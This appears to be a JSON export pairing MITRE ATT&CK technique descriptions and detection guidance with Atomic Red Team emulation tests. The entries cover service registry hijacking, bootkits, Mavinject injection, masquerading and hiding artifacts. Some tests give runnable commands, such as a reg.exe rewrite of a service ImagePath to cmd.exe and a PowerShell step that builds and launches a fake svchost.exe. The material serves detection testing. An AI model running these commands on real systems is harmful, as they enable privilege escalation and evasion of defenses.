- "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Service: Service Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1574.011"
- },
- "atomic_tests": [
- {
- "name": "Service Registry Permissions Weakness",
- "auto_generated_guid": "f7536d63-7fd4-466f-89da-7e48d550752a",
- "description": "Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "weak_service_name": {
- "description": "weak service check",
- "type": "string",
- "default": "weakservicename"
- }
- },
- "executor": {
- "command": "get-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\* |FL\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name} |FL\n",
- "name": "powershell"
- }
- },
- {
- "name": "Service ImagePath Change with reg.exe",
- "auto_generated_guid": "f38e9eea-e1d7-4ba6-b716-584791963827",
- "description": "Change Service registry ImagePath of a bengin service to a malicious file\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "weak_service_name": {
- "description": "weak service name",
- "type": "string",
- "default": "calcservice"
- },
- "weak_service_path": {
- "description": "weak service path",
- "type": "string",
- "default": "%windir%\\system32\\win32calc.exe"
- },
- "malicious_service_path": {
- "description": "malicious service path",
- "type": "string",
- "default": "%windir%\\system32\\cmd.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The service must exist (#{weak_service_name})\n",
- "prereq_command": "if (Get-Service #{weak_service_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "sc.exe create #{weak_service_name} binpath= \"#{weak_service_path}\"\n"
- }
- ],
- "executor": {
- "command": "reg.exe add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /f /v ImagePath /d \"#{malicious_service_path}\"\n",
- "cleanup_command": "sc.exe delete #{weak_service_name}\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1542.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
- "type": "attack-pattern",
- "created": "2019-12-19T21:05:38.123Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1542.003",
- "url": "https://attack.mitre.org/techniques/T1542/003"
- },
- {
- "external_id": "CAPEC-552",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/552.html"
- },
- {
- "source_name": "Mandiant M Trends 2016",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf",
- "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."
- },
- {
- "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
- "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
- "source_name": "Lau 2011"
- }
- ],
- "modified": "2020-09-17T19:47:14.338Z",
- "name": "Bootkit",
- "description": "Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Drive: Drive Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Host intrusion prevention systems",
- "Anti-virus",
- "File monitoring"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1116": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:26.474Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1116",
- "url": "https://attack.mitre.org/techniques/T1116"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Code_signing",
- "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
- "source_name": "Wikipedia Code Signing"
- },
- {
- "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/",
- "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
- "source_name": "Janicab"
- },
- {
- "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
- "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
- "source_name": "Securelist Digital Certificates"
- },
- {
- "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates",
- "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
- "source_name": "Symantec Digital Certificates"
- }
- ],
- "modified": "2020-02-05T18:59:28.671Z",
- "name": "Code Signing",
- "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Windows User Account Control"
- ]
- },
- "atomic_tests": []
- },
- "T1218.013": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9",
- "created": "2021-09-22T17:45:10.241Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1218.013",
- "url": "https://attack.mitre.org/techniques/T1218/013"
- },
- {
- "source_name": "ATT Lazarus TTP Evolution",
- "url": "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution",
- "description": "Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021."
- },
- {
- "source_name": "LOLBAS Mavinject",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/",
- "description": "LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021."
- },
- {
- "source_name": "Mavinject Functionality Deconstructed",
- "url": "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e",
- "description": "Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021."
- },
- {
- "source_name": "Reaqta Mavinject",
- "url": "https://reaqta.com/2017/12/mavinject-microsoft-injector/",
- "description": "Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL
).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE
command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER
). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)",
- "modified": "2022-04-19T17:35:08.315Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Mavinject",
- "x_mitre_detection": "Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\n\nAdversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING
is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1093": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:09.815Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1093",
- "url": "https://attack.mitre.org/techniques/T1093"
- },
- {
- "url": "http://www.autosectools.com/process-hollowing.pdf",
- "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.",
- "source_name": "Leitch Hollowing"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- }
- ],
- "modified": "2020-11-10T18:29:30.437Z",
- "name": "Process Hollowing",
- "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting",
- "Whitelisting by file name or path",
- "Signature-based detection",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1036.005": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Yossi Weizman, Azure Defender Research Team",
- "Vishwas Manral, McAfee"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
- "created": "2020-02-10T20:43:10.239Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1036.005",
- "url": "https://attack.mitre.org/techniques/T1036/005"
- },
- {
- "source_name": "Twitter ItsReallyNick Masquerading Update",
- "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457",
- "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019."
- },
- {
- "source_name": "Docker Images",
- "url": "https://docs.docker.com/engine/reference/commandline/images/",
- "description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021."
- },
- {
- "source_name": "Elastic Masquerade Ball",
- "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf",
- "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/177.html",
- "source_name": "capec",
- "external_id": "CAPEC-177"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.",
- "modified": "2022-05-05T04:56:50.197Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Masquerading: Match Legitimate Name or Location",
- "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Image: Image Metadata",
- "Process: Process Metadata",
- "File: File Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1036.005"
- },
- "atomic_tests": [
- {
- "name": "Masquerade as a built-in system executable",
- "auto_generated_guid": "35eb8d16-9820-4423-a2a1-90c4f5edd9ca",
- "description": "Launch an executable that attempts to masquerade as a legitimate executable.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "executable_filepath": {
- "description": "File path where the generated executable will be dropped and executed from. The filename should be the name of a built-in system utility.",
- "type": "string",
- "default": "$Env:windir\\Temp\\svchost.exe"
- }
- },
- "executor": {
- "command": "Add-Type -TypeDefinition @'\npublic class Test {\n public static void Main(string[] args) {\n System.Console.WriteLine(\"tweet, tweet\");\n }\n}\n'@ -OutputAssembly \"#{executable_filepath}\"\n\nStart-Process -FilePath \"#{executable_filepath}\"\n",
- "cleanup_command": "Remove-Item -Path \"#{executable_filepath}\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1600": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8",
- "type": "attack-pattern",
- "created": "2020-10-19T18:47:08.759Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1600",
- "url": "https://attack.mitre.org/techniques/T1600"
- },
- {
- "source_name": "Cisco Synful Knock Evolution",
- "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
- "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- }
- ],
- "modified": "2020-10-21T22:37:49.258Z",
- "name": "Weaken Encryption",
- "description": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Encryption"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1121": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Casey Smith"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:33.499Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1121",
- "url": "https://attack.mitre.org/techniques/T1121"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
- "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
- "source_name": "MSDN Regsvcs"
- },
- {
- "source_name": "MSDN Regasm",
- "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
- "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
- },
- {
- "source_name": "LOLBAS Regsvcs",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/",
- "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019."
- },
- {
- "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/",
- "source_name": "LOLBAS Regasm"
- }
- ],
- "modified": "2020-01-31T19:00:30.734Z",
- "name": "Regsvcs/Regasm",
- "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction]
or [ComUnregisterFunction]
respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
- "kill_chain_phases": [
- {
- "phase_name": "defense-evasion",
- "kill_chain_name": "mitre-attack"
- },
- {
- "phase_name": "execution",
- "kill_chain_name": "mitre-attack"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting",
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1564": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Office 365"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
- "type": "attack-pattern",
- "created": "2020-02-26T17:41:25.933Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1564",
- "url": "https://attack.mitre.org/techniques/T1564"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
- "source_name": "Sofacy Komplex Trojan"
- },
- {
- "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf",
- "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
- "source_name": "Cybereason OSX Pirrit"
- },
- {
- "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
- "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
- "source_name": "MalwareBytes ADS July 2015"
- },
- {
- "source_name": "Sophos Ragnar May 2020",
- "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
- "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
- }
- ],
- "modified": "2022-03-25T15:59:09.632Z",
- "name": "Hide Artifacts",
- "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Command: Command Execution",
- "User Account: User Account Metadata",
- "File: File Modification",
- "Service: Service Creation",
- "File: File Metadata",
- "Process: OS API Execution",
- "File: File Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Firmware: Firmware Modification",
- "User Account: User Account Creation",
- "Script: Script Execution",
- "Process: Process Creation"
- ],
- "identifier": "T1564"
- },
- "atomic_tests": [
- {
- "name": "Extract binary files via VBA",
- "auto_generated_guid": "6afe288a-8a8b-4d33-a629-8d03ba9dad3a",
- "description": "This module extracts a binary (calc.exe) from inside of another binary. \n\nIn the wild maldoc authors will use this technique to hide binaries inside of files stored \nwithin the office document itself. An example of this technique can be seen in sample\n\nf986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226\n\nThis sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2\nis the same document without all the malicious code. Document 1 will copy Document 2 to the file system\nand then \"peek\" inside of this document and pull out the oleObject.bin file. Contained inside of this\noleObject.bin file is a payload that is parsed out and executed on the file system.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft Word must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"Word.Application\" | Out-Null\n Stop-Process -Name \"winword\"\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n"
- }
- ],
- "executor": {
